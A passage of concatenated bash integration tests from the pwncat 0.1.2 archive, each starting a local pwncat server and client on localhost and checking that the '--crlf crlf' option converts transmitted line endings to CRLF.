"$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\n" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Server -> Client" # [SERVER -> Client] wait_for_data_transferred "" "${expect}" "" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/001---tcp---client_crlf_crlf---server_sends_cr.sh000077500000000000000000000151051414025024700322020ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\r" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Server -> Client" # [SERVER -> Client] wait_for_data_transferred "" "${expect}" "" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/002---tcp---client_crlf_crlf---server_sends_crlf.sh000077500000000000000000000151101414025024700325210ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Server -> Client" # [SERVER -> Client] wait_for_data_transferred "" "${expect}" "" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/100---tcp---server_crlf_crlf---client_sends_lf.sh000077500000000000000000000151051414025024700321770ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\n" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Client -> Server" # [CLIENT -> SERVER] wait_for_data_transferred "" "${expect}" "" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/101---tcp---server_crlf_crlf---client_sends_cr.sh000077500000000000000000000151051414025024700322030ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\r" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Client -> Server" # [CLIENT -> SERVER] wait_for_data_transferred "" "${expect}" "" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 